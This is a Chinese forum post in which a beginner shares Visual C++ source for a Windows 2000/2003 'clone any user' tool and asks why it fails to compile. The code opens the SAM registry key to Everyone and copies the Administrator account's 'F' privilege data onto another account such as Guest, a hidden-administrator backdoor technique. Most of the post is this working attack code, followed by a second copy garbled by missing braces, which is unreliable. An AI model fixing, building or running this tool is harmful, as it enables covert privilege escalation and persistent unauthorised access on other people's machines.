首页 诗词 字典 板报 句子 名言 友答 励志 学校 网站地图
当前位置: 首页 > 教程频道 > 开发语言 > C++ >

一段vc源码,编译出错。 求各位大大帮忙解决一上

2013-01-11 
一段vc源码,编译出错。 求各位大大帮忙解决一下。从网上找的现成的源码,据说是无错的。但是我编译就会出错。。。

一段vc源码,编译出错。 求各位大大帮忙解决一下。
从网上找的现成的源码,据说是无错的。
但是我编译就会出错。。。
求各位大大看看什么问题。
万分感谢!!


#include <windows.h>
#include <string.h>
#include <stdio.h>
#include <aclapi.h>

char name[50][30];

int KeyN=0;
 
LPTSTR lpObjectName;
 
SE_OBJECT_TYPE ObjectType; //#include <aclapi.h>
 
PACL OldDACL,NewDACL;
 
PSECURITY_DESCRIPTOR SD;
 
EXPLICIT_ACCESS ea;
 
//OpenKey(),ViewUser(),ListUser()函数用到的变量
 

//显示用户名对应的安全标识符:
 
void OpenKey (char *key);
 
int ViewUser (char *key);
 
int ListUser (void);//列出用户名和类型值(用户SID)
 
int Clone (char *C_sid);//克隆帐户
 
void Usage (void);//帮助信息
 

//设置注册表的存取权限:
 
void new();
 
void old();
 

void main (int argc, char *argv[])
 
{
 
char C_Sid[10];
 
int n;
 
if(argc<2)
 
{Usage();
 
return;}
 

//提升注册表SAM键的权限:
 
new();
 
//如何使用命令行参数的方法:
 
for (n=1;n<argc;n++)

{

if (argv[n][0] == '-')
 
{
 
switch(argv[n][1])
 
{
 
case '?':
 
case 'h':
 
case 'H':Usage();
 
break;
 

case 'l':
 
case 'L':ListUser();
 
old();
 
break;
 

case 'c':
 
case 'C':
 
if(argc<3)
 
{printf("Useage:%s -c 1F5\n",argv[0]);
 
old();
 
break;}
 
strcpy(C_Sid,argv[2]);//获得屏幕输入并存入C_Sid字符数组
 
if (strlen(C_Sid)<=10)
 
Clone(C_Sid);
 
else
 
printf("Error\n");
 
//恢复注册表的权限:
 
old();
 

break;
 

}
 
}
 
}
 
}
 

void OpenKey (char *key)
 
{
 
HKEY hkey;//注册表键值的句柄
 
DWORD dwIndex=0,lpcbname=100,ret=0;
 
char T_name[100],Buffer[100];
 
FILETIME lpftlast;
 
int i=0;
 
//下面是字符数组清0:
 
ZeroMemory(Buffer,100);
 
ZeroMemory(T_name,100);
 
ZeroMemory(name,1500);
 

RegOpenKeyEx(HKEY_LOCAL_MACHINE, //根键名或已打开项的句柄
 
key, //传递一个参数,欲打开的注册表项
 
0, //未用,设为0即可
 
KEY_ALL_ACCESS, //描述新键值安全性的访问掩码
 
//它们的组合描述了允许对这个项进行哪些操作
 
&hkey);//装载上面打开项的句柄
 

for(i=0;ret==ERROR_SUCCESS;i++,dwIndex++)//遍历子键中的每个值
 
{
 
ret=RegEnumKeyEx(hkey,dwIndex,T_name,&lpcbname,
 
NULL,NULL,NULL,&lpftlast);
 
//dwIndex:欲获取的子项的索引。第一个子项的索引编号为零
 
//T_name:用于装载指定索引处项名的一个缓冲区
 
//&lpcbname:指定一个变量,用于装载lpName缓冲区的实际长度(包括空字符)。
 
//一旦返回,它会设为实际装载到lpName缓冲区的字符数量
 
//NULL:未用,设为零
 
//NULL:项使用的类名
 
//NULL:用于装载lpClass缓冲区长度的一个变量
 
//&lpftlast:FILETIME,枚举子项上一次修改的时间
 

strcat(name[i],T_name);//将每个子键名加入到name[i]数组中
 

ZeroMemory(T_name,100);//清0


 
lpcbname=100;
 
}
 
//printf("subkey=%s\n",name[0]);//administrator
 
RegCloseKey(hkey); //关闭注册键
 

//拼接用户名:
 
for(KeyN=0;KeyN<i;KeyN++)
 
{
 
strcat(Buffer,name[KeyN]);
 
strcat(Buffer,"\n\r");
 
}
 
}
 

int ViewUser (char *key)
 
{
 
HKEY hkey;
 
DWORD lpType=0,ret;
 
char S_name[10];
 

ret=RegOpenKeyEx(HKEY_LOCAL_MACHINE,
 
key,//如://SAM\\SAM\\Domains\\Account\\Users\\Names\\administrator
 
0,
 
KEY_ALL_ACCESS,
 
&hkey);
 

if(ret==ERROR_SUCCESS)
 
;
 
else
 
return 0;
 

RegQueryValueEx(hkey,NULL,NULL,&lpType,NULL,NULL);
 
//NULL:要获取值的名字
 
//NULL:未用,设为零
 
//&lpType:用于装载取回数据类型的一个变量
 
//NULL:用于装载指定值的一个缓冲区
 
//NULL:用于装载lpData缓冲区长度的一个变量
 

wsprintf(S_name,"%X\n\r",lpType);
 
printf("%s",S_name);
 

return 1;
 
}
 

int ListUser (void)
 
{
 
int n;
 
char Buffer[70]="SAM\\SAM\\Domains\\Account\\Users\\Names\";
 
char Temp[40]={'\0'};
 

OpenKey("SAM\\SAM\\Domains\\Account\\Users\\Names");
 

for(n=0;n<KeyN;n++)
 
{
 
strcat(Buffer,name[n]);//SAM\\SAM\\Domains\\Account\\Users\\Names\\administrator
 
wsprintf(Temp,name[n]);
 
strcat(Temp,"===>");
 
printf("%s",Temp);
 
ViewUser(Buffer);
 
strcpy(Buffer,"SAM\\SAM\\Domains\\Account\\Users\\Names\");
 
}
 
return 1;
 
}
 

int Clone(char *C_sid)
 
{
 
HKEY hkey,C_hkey;
 
DWORD Type=REG_BINARY,SizeF=1024*2,SizeV=1024*10,ret;
 
char CloneSid[100];
 
LPBYTE lpDataF,lpDataV;
 
//为注册表的F与V值分配空间:
 
lpDataF = (LPBYTE) malloc(1024*2);
 
lpDataV = (LPBYTE) malloc(1024*10);
 
//清0:
 
ZeroMemory(lpDataF,1024*2);
 
ZeroMemory(lpDataV,1024*10);
 
ZeroMemory(CloneSid,100);
 

strcpy(CloneSid,"SAM\\SAM\\Domains\\Account\\Users\\00000");
 
strcat(CloneSid,C_sid);//如:SAM\\SAM\\Domains\\Account\\Users\\000001F5
 

ret= RegOpenKeyEx(HKEY_LOCAL_MACHINE,
 
"SAM\\SAM\\Domains\\Account\\Users\\000001F4", //administrator的子键
 
0,
 
KEY_ALL_ACCESS,
 
&hkey);
 

if(ret==ERROR_SUCCESS)
 
;
 
else
 
return 0;
 
//读出F值然后存入lpDataF中:
 
ret = RegQueryValueEx(hkey,"F",NULL,
 
&Type,lpDataF,&SizeF);
 

if(ret==ERROR_SUCCESS)
 
;
 
else
 
return 0;
 
//读出v值然后存入lpDataV中:
 
ret = RegQueryValueEx(hkey,"V",NULL,
 
&Type,lpDataV,&SizeV);
 

if(ret==ERROR_SUCCESS)
 
;
 
else
 
return 0;
 
//下面是打开需克隆用户如guest的键值:
 
ret = RegOpenKeyEx(HKEY_LOCAL_MACHINE,
 


CloneSid, //如:SAM\\SAM\\Domains\\Account\\Users\\000001F5
 
0,
 
KEY_ALL_ACCESS,
 
&C_hkey);
 

if(ret==ERROR_SUCCESS)
 
;
 
else
 
return 0;
 
//将lpDataF中的值来替换需克隆用户的F值:
 
ret= RegSetValueEx(C_hkey,"F",0,
 
REG_BINARY,
 
lpDataF,
 
SizeF);
 
//C_hkey:根键名或已打开项的句柄
 
//“F”:要设置值的名字
 
//0:未用,设为零
 
//REG_BINARY:要设置的数量类型
 
//lpDataF:包含数据的缓冲区中的第一个字节
 
//SizeF:lpData缓冲区的长度
 

if(ret==ERROR_SUCCESS)
 
printf("Clone User Success\n");
 
else
 
{
 
printf("Clone User FAIL\n");
 
return 0;
 
}
 
//关闭已打开的注册表句柄:
 
RegCloseKey(hkey);
 
RegCloseKey(C_hkey);
 

return 1;
 
}
 

void new()
 
{//下面是设置SAM键的权限为everyone:
 
lpObjectName = "MACHINE\\SAM\\SAM";
 

ObjectType =SE_REGISTRY_KEY;
 

//建立一个空的ACL;
 
if (SetEntriesInAcl(0, NULL, NULL, &
 

OldDACL)!=ERROR_SUCCESS)
 
return;
 

if (SetEntriesInAcl(0, NULL, NULL, &NewDACL)!=ERROR_SUCCESS)
 
return;
 

//获取现有的ACL列表到OldDACL:
 
if(GetNamedSecurityInfo(lpObjectName, ObjectType,
 
DACL_SECURITY_INFORMATION,
 
NULL, NULL,
 
&OldDACL,
 
NULL, &SD) != ERROR_SUCCESS)
 
printf("指定的键不存在!\n");
 
// 本文转自 C++Builder 研究 - http://www.ccrun.com/article.asp?i=563&d=tshoza
 
//设置用户名"Everyone"对指定的键有所有操作权到结构ea:
 
ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));
 

BuildExplicitAccessWithName(&ea,
 
"Everyone", // name of trustee
 
KEY_ALL_ACCESS, // type of access
 
SET_ACCESS, // access mode
 
SUB_CONTAINERS_AND_OBJECTS_INHERIT); //子键继承它的权限
 


//合并结构ea和OldDACL的权限列表到新的NewDACL:
 
if(SetEntriesInAcl(1, &ea, NULL, &NewDACL) != ERROR_SUCCESS)
 
goto Cleanup;
 

//把新的ACL写入到指定的键:
 
SetNamedSecurityInfo(lpObjectName, ObjectType,
 
DACL_SECURITY_INFORMATION,
 
NULL, NULL,
 
NewDACL,
 
NULL);
 
//释放指针
 
Cleanup:
 
if(SD != NULL)
 
LocalFree((HLOCAL) SD);
 
if(NewDACL != NULL)
 
LocalFree((HLOCAL) NewDACL);
 
if(OldDACL != NULL)
 
LocalFree((HLOCAL) OldDACL);
 
}
 

void old()
 
{
 
//恢复注册表的权限:
 

BuildExplicitAccessWithName(&ea,
 
"system", // name of trustee
 
KEY_ALL_ACCESS, // type of access
 
SET_ACCESS, // access mode
 
SUB_CONTAINERS_AND_OBJECTS_INHERIT); //让子键继承他的权限
 

if(SetEntriesInAcl(1, &ea, NULL, &OldDACL) != ERROR_SUCCESS)
 
goto Cleanup;
 

//把旧的ACL写入到指定的键:
 


SetNamedSecurityInfo(lpObjectName, ObjectType,
 
DACL_SECURITY_INFORMATION,
 
NULL, NULL,
 
OldDACL,
 
NULL);
 
//释放指针
 
Cleanup:
 
if(SD != NULL)
 
LocalFree((HLOCAL) SD);
 
if(NewDACL != NULL)
 
LocalFree((HLOCAL) NewDACL);
 
if(OldDACL != NULL)
 
LocalFree((HLOCAL) OldDACL);
 

}
 

//输出帮助的典型方法:
 
void Usage (void)
 
{
 
fprintf(stderr,"===============================================================================\n"
 
"\t名称:2003与2000下克隆任意用户程序\n"
 
"\t环境:Win2003 + Visual C++ 6.0\n"
 
"\t作者:pt007@vip.sina.com\n"
 
"\tQQ:7491805\n"
 
"\t声明:本软件由pt007原创,转载请注明出处,谢谢!\n"
 
"\n"
 
"\t使用方法:\n"
 
"\t"-H":帮助信息\n"
 
"\t"-L":列出系统中用户对应的SID\n"
 
"\t"-C 1F5":克隆帐户,输入SID即可\n"
 
"\t 对应注册表HKEY_LOCAL_MACHINE\\SAM\\SAM\\Domains\\Account\\Users\n"
 
"\t 对应注册表HKEY_LOCAL_MACHINE\\SAM\\SAM\\Domains\\Account\\Users\\Names\n"
 
"\n"
 
"\t注意事项:\n"
 
"\t由于SID的前5位都是"0",所以不必输入,直接输入最后三位\n"
 
"\t例如:000001F5,则直接输入1F5,即可将Guest帐户克隆\n"
 
"===============================================================================\n");
 
}




Compiling...
1.cpp
C:\Users\Administrator\Desktop\1\1.cpp(38) : warning C4091: '' : ignored on left of 'void' when no variable is declared
C:\Users\Administrator\Desktop\1\1.cpp(38) : error C2143: syntax error : missing ';' before 'new'
C:\Users\Administrator\Desktop\1\1.cpp(38) : error C2143: syntax error : missing ';' before 'new'
C:\Users\Administrator\Desktop\1\1.cpp(60) : error C2059: syntax error : ')'
C:\Users\Administrator\Desktop\1\1.cpp(64) : error C2143: syntax error : missing ')' before ';'
C:\Users\Administrator\Desktop\1\1.cpp(64) : error C2143: syntax error : missing ';' before ')'
C:\Users\Administrator\Desktop\1\1.cpp(64) : error C2143: syntax error : missing ';' before ')'
C:\Users\Administrator\Desktop\1\1.cpp(64) : warning C4552: '<' : operator has no effect; expected operator with side-effect
C:\Users\Administrator\Desktop\1\1.cpp(64) : error C2143: syntax error : missing ';' before ')'
C:\Users\Administrator\Desktop\1\1.cpp(66) : error C2143: syntax error : missing ';' before '{'
C:\Users\Administrator\Desktop\1\1.cpp(465) : warning C4091: '' : ignored on left of 'void' when no variable is declared
C:\Users\Administrator\Desktop\1\1.cpp(465) : error C2143: syntax error : missing ';' before 'new'
C:\Users\Administrator\Desktop\1\1.cpp(465) : error C2143: syntax error : missing ';' before 'new'
C:\Users\Administrator\Desktop\1\1.cpp(467) : error C2143: syntax error : missing ';' before '{'
C:\Users\Administrator\Desktop\1\1.cpp(467) : error C2447: missing function header (old-style formal list?)


执行 cl.exe 时出错.

1.exe - 1 error(s), 0 warning(s)


我是菜鸟。不太懂vc。   - -。 我百度了好久,都说是什么变量没声明。。但是没有解决办法。。。求求求解决!!
#include <windows.h> 
#include <string.h> 
#include <stdio.h> 
#include <aclapi.h> 
  
char name[50][30]; 
  
int KeyN=0; 
   
LPTSTR lpObjectName; 
   
SE_OBJECT_TYPE ObjectType; //#include <aclapi.h> 
   
PACL OldDACL,NewDACL; 
   
PSECURITY_DESCRIPTOR SD; 
   
EXPLICIT_ACCESS ea; 
   
//OpenKey(),ViewUser(),ListUser()函数用到的变量 
   
  
//显示用户名对应的安全标识符: 
   
void OpenKey (char *key); 
   
int ViewUser (char *key); 
   
int ListUser (void);//列出用户名和类型值(用户SID) 
   
int Clone (char *C_sid);//克隆帐户 
   
void Usage (void);//帮助信息 
   
  
//设置注册表的存取权限: 
   
void New(); 
   
void old(); 
   
  
void main (int argc, char *argv[]) 
   

   
char C_Sid[10]; 
   
int n; 
   
if(argc<2) 
   
{Usage(); 
   
return;} 
   
  
//提升注册表SAM键的权限: 
   
New(); 
   
//如何使用命令行参数的方法: 
   
for (n=1;n<argc;n++) 
  

  
if (argv[n][0] == '-') 
   

   
switch(argv[n][1]) 
   

   
case '?': 
   
case 'h': 
   
case 'H':Usage(); 
   
break; 
   
  
case 'l': 
   
case 'L':ListUser(); 
   
old(); 
   
break; 
   
  
case 'c': 
   
case 'C': 
   
if(argc<3) 
   
{printf("Useage:%s -c 1F5\n",argv[0]); 
   
old(); 
   
break;} 
   
strcpy(C_Sid,argv[2]);//获得屏幕输入并存入C_Sid字符数组 
   
if (strlen(C_Sid)<=10) 
   
Clone(C_Sid); 
   
else
   
printf("Error\n"); 
   
//恢复注册表的权限: 
   
old(); 


   
  
break; 
   
  

   

   

   

   
  
void OpenKey (char *key) 
   

   
HKEY hkey;//注册表键值的句柄 
   
DWORD dwIndex=0,lpcbname=100,ret=0; 
   
char T_name[100],Buffer[100]; 
   
FILETIME lpftlast; 
   
int i=0; 
   
//下面是字符数组清0: 
   
ZeroMemory(Buffer,100); 
   
ZeroMemory(T_name,100); 
   
ZeroMemory(name,1500); 
   
  
RegOpenKeyEx(HKEY_LOCAL_MACHINE, //根键名或已打开项的句柄 
   
key, //传递一个参数,欲打开的注册表项 
   
0, //未用,设为0即可 
   
KEY_ALL_ACCESS, //描述新键值安全性的访问掩码 
   
//它们的组合描述了允许对这个项进行哪些操作 
   
&hkey);//装载上面打开项的句柄 
   
  
for(i=0;ret==ERROR_SUCCESS;i++,dwIndex++)//遍历子键中的每个值 
   

   
ret=RegEnumKeyEx(hkey,dwIndex,T_name,&lpcbname, 
   
NULL,NULL,NULL,&lpftlast); 
   
//dwIndex:欲获取的子项的索引。第一个子项的索引编号为零 
   
//T_name:用于装载指定索引处项名的一个缓冲区 
   
//&lpcbname:指定一个变量,用于装载lpName缓冲区的实际长度(包括空字符)。 
   
//一旦返回,它会设为实际装载到lpName缓冲区的字符数量 
   
//NULL:未用,设为零 
   
//NULL:项使用的类名 
   
//NULL:用于装载lpClass缓冲区长度的一个变量 
   
//&lpftlast:FILETIME,枚举子项上一次修改的时间 
   
  
strcat(name[i],T_name);//将每个子键名加入到name[i]数组中 
   
  
ZeroMemory(T_name,100);//清0 
   
lpcbname=100; 
   

   
//printf("subkey=%s\n",name[0]);//administrator 
   
RegCloseKey(hkey); //关闭注册键 
   
  
//拼接用户名: 
   
for(KeyN=0;KeyN<i;KeyN++) 
   

   
strcat(Buffer,name[KeyN]); 
   
strcat(Buffer,"\n\r"); 
   

   

   
  
int ViewUser (char *key) 
   

   
HKEY hkey; 
   
DWORD lpType=0,ret; 
   
char S_name[10]; 
   
  
ret=RegOpenKeyEx(HKEY_LOCAL_MACHINE, 
   
key,//如://SAM\\SAM\\Domains\\Account\\Users\\Names\\administrator 
   
0, 
   
KEY_ALL_ACCESS, 
   
&hkey); 
   
  
if(ret==ERROR_SUCCESS) 
   

   
else
   
return 0; 
   
  
RegQueryValueEx(hkey,NULL,NULL,&lpType,NULL,NULL); 
   
//NULL:要获取值的名字 
   
//NULL:未用,设为零 
   
//&lpType:用于装载取回数据类型的一个变量 


   
//NULL:用于装载指定值的一个缓冲区 
   
//NULL:用于装载lpData缓冲区长度的一个变量 
   
  
wsprintf(S_name,"%X\n\r",lpType); 
   
printf("%s",S_name); 
   
  
return 1; 
   

   
  
int ListUser (void) 
   

   
int n; 
   
char Buffer[70]="SAM\\SAM\\Domains\\Account\\Users\\Names\"; 
   
char Temp[40]={'\0'}; 
   
  
OpenKey("SAM\\SAM\\Domains\\Account\\Users\\Names"); 
   
  
for(n=0;n<KeyN;n++) 
   

   
strcat(Buffer,name[n]);//SAM\\SAM\\Domains\\Account\\Users\\Names\\administrator 
   
wsprintf(Temp,name[n]); 
   
strcat(Temp,"===>"); 
   
printf("%s",Temp); 
   
ViewUser(Buffer); 
   
strcpy(Buffer,"SAM\\SAM\\Domains\\Account\\Users\\Names\"); 
   

   
return 1; 
   

   
  
int Clone(char *C_sid) 
   

   
HKEY hkey,C_hkey; 
   
DWORD Type=REG_BINARY,SizeF=1024*2,SizeV=1024*10,ret; 
   
char CloneSid[100]; 
   
LPBYTE lpDataF,lpDataV; 
   
//为注册表的F与V值分配空间: 
   
lpDataF = (LPBYTE) malloc(1024*2); 
   
lpDataV = (LPBYTE) malloc(1024*10); 
   
//清0: 
   
ZeroMemory(lpDataF,1024*2); 
   
ZeroMemory(lpDataV,1024*10); 
   
ZeroMemory(CloneSid,100); 
   
  
strcpy(CloneSid,"SAM\\SAM\\Domains\\Account\\Users\\00000"); 
   
strcat(CloneSid,C_sid);//如:SAM\\SAM\\Domains\\Account\\Users\\000001F5 
   
  
ret= RegOpenKeyEx(HKEY_LOCAL_MACHINE, 
   
"SAM\\SAM\\Domains\\Account\\Users\\000001F4", //administrator的子键 
   
0, 
   
KEY_ALL_ACCESS, 
   
&hkey); 
   
  
if(ret==ERROR_SUCCESS) 
   

   
else
   
return 0; 
   
//读出F值然后存入lpDataF中: 
   
ret = RegQueryValueEx(hkey,"F",NULL, 
   
&Type,lpDataF,&SizeF); 
   
  
if(ret==ERROR_SUCCESS) 
   

   
else
   
return 0; 
   
//读出v值然后存入lpDataV中: 
   
ret = RegQueryValueEx(hkey,"V",NULL, 
   
&Type,lpDataV,&SizeV); 
   
  
if(ret==ERROR_SUCCESS) 
   

   
else
   
return 0; 
   
//下面是打开需克隆用户如guest的键值: 
   


ret = RegOpenKeyEx(HKEY_LOCAL_MACHINE, 
   
CloneSid, //如:SAM\\SAM\\Domains\\Account\\Users\\000001F5 
   
0, 
   
KEY_ALL_ACCESS, 
   
&C_hkey); 
   
  
if(ret==ERROR_SUCCESS) 
   

   
else
   
return 0; 
   
//将lpDataF中的值来替换需克隆用户的F值: 
   
ret= RegSetValueEx(C_hkey,"F",0, 
   
REG_BINARY, 
   
lpDataF, 
   
SizeF); 
   
//C_hkey:根键名或已打开项的句柄 
   
//"F":要设置值的名字 
   
//0:未用,设为零 
   
//REG_BINARY:要设置的数量类型 
   
//lpDataF:包含数据的缓冲区中的第一个字节 
   
//SizeF:lpData缓冲区的长度 
   
  
if(ret==ERROR_SUCCESS) 
   
printf("Clone User Success\n"); 
   
else
   

   
printf("Clone User FAIL\n"); 
   
return 0; 
   

   
//关闭已打开的注册表句柄: 
   
RegCloseKey(hkey); 
   
RegCloseKey(C_hkey); 
   
  
return 1; 
   

   
  
void New() 
   
{//下面是设置SAM键的权限为everyone: 
   
lpObjectName = "MACHINE\\SAM\\SAM"; 
   
  
ObjectType =SE_REGISTRY_KEY; 
   
  
//建立一个空的ACL; 
   
if (SetEntriesInAcl(0, NULL, NULL, & 
   
  
OldDACL)!=ERROR_SUCCESS) 
   
return; 
   
  
if (SetEntriesInAcl(0, NULL, NULL, &NewDACL)!=ERROR_SUCCESS) 
   
return; 
   
  
//获取现有的ACL列表到OldDACL: 
   
if(GetNamedSecurityInfo(lpObjectName, ObjectType, 
   
DACL_SECURITY_INFORMATION, 
   
NULL, NULL, 
   
&OldDACL, 
   
NULL, &SD) != ERROR_SUCCESS) 
   
printf("指定的键不存在!\n"); 
   
// 本文转自 C++Builder 研究 - <A href="http://www.ccrun.com/article.asp?i=563&d=tshoza">http://www.ccrun.com/article.asp?i=563&d=tshoza</A> 
   
//设置用户名"Everyone"对指定的键有所有操作权到结构ea: 
   
ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS)); 
   
  
BuildExplicitAccessWithName(&ea, 
   
"Everyone", // name of trustee 
   
KEY_ALL_ACCESS, // type of access 
   
SET_ACCESS, // access mode 
   
SUB_CONTAINERS_AND_OBJECTS_INHERIT); //子键继承它的权限 
   
  
  
//合并结构ea和OldDACL的权限列表到新的NewDACL: 
   
if(SetEntriesInAcl(1, &ea, NULL, &NewDACL) != ERROR_SUCCESS) 


   
goto Cleanup; 
   
  
//把新的ACL写入到指定的键: 
   
SetNamedSecurityInfo(lpObjectName, ObjectType, 
   
DACL_SECURITY_INFORMATION, 
   
NULL, NULL, 
   
NewDACL, 
   
NULL); 
   
//释放指针 
   
Cleanup: 
   
if(SD != NULL) 
   
LocalFree((HLOCAL) SD); 
   
if(NewDACL != NULL) 
   
LocalFree((HLOCAL) NewDACL); 
   
if(OldDACL != NULL) 
   
LocalFree((HLOCAL) OldDACL); 
   

   
  
void old() 
   

   
//恢复注册表的权限: 
   
  
BuildExplicitAccessWithName(&ea, 
   
"system", // name of trustee 
   
KEY_ALL_ACCESS, // type of access 
   
SET_ACCESS, // access mode 
   
SUB_CONTAINERS_AND_OBJECTS_INHERIT); //让子键继承他的权限 
   
  
if(SetEntriesInAcl(1, &ea, NULL, &OldDACL) != ERROR_SUCCESS) 
   
goto Cleanup; 
   
  
//把旧的ACL写入到指定的键: 
   
SetNamedSecurityInfo(lpObjectName, ObjectType, 
   
DACL_SECURITY_INFORMATION, 
   
NULL, NULL, 
   
OldDACL, 
   
NULL); 
   
//释放指针 
   
Cleanup: 
   
if(SD != NULL) 
   
LocalFree((HLOCAL) SD); 
   
if(NewDACL != NULL) 
   
LocalFree((HLOCAL) NewDACL); 
   
if(OldDACL != NULL) 
   
LocalFree((HLOCAL) OldDACL); 
   
  

   
  
//输出帮助的典型方法: 
   
void Usage (void) 
   

   
fprintf(stderr,"===============================================================================\n"
   
"\t名称:2003与2000下克隆任意用户程序\n"
   
"\t环境:Win2003 + Visual C++ 6.0\n"
   
"\t作者:<A href="mailto:pt007@vip.sina.com">pt007@vip.sina.com</A>\n"
   
"\tQQ:7491805\n"
   
"\t声明:本软件由pt007原创,转载请注明出处,谢谢!\n"
   
"\n"
   
"\t使用方法:\n"
   
"\t"-H":帮助信息\n"
   
"\t"-L":列出系统中用户对应的SID\n"
   
"\t"-C 1F5":克隆帐户,输入SID即可\n"
   
"\t 对应注册表HKEY_LOCAL_MACHINE\\SAM\\SAM\\Domains\\Account\\Users\n"
   
"\t 对应注册表HKEY_LOCAL_MACHINE\\SAM\\SAM\\Domains\\Account\\Users\\Names\n"
   
"\n"
   
"\t注意事项:\n"
   
"\t由于SID的前5位都是"0",所以不必输入,直接输入最后三位\n"
   
"\t例如:000001F5,则直接输入1F5,即可将Guest帐户克隆\n"
   
"===============================================================================\n"); 


   
}



热点排行